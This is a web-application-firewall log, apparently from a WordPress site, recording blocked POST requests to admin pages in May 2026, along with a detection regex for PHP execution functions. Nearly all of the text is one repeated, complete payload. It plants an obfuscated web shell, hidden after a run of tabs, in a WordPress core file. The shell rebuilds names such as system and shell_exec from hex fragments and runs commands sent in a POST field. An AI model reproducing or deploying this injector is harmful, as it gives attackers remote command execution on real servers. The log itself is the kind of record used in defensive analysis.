0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6683\naccept:*\/*\n\ncI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:50:24","208.109.188.137","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6683\naccept:*\/*\n\niS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:50:56","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMT4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:6683\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\ndn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7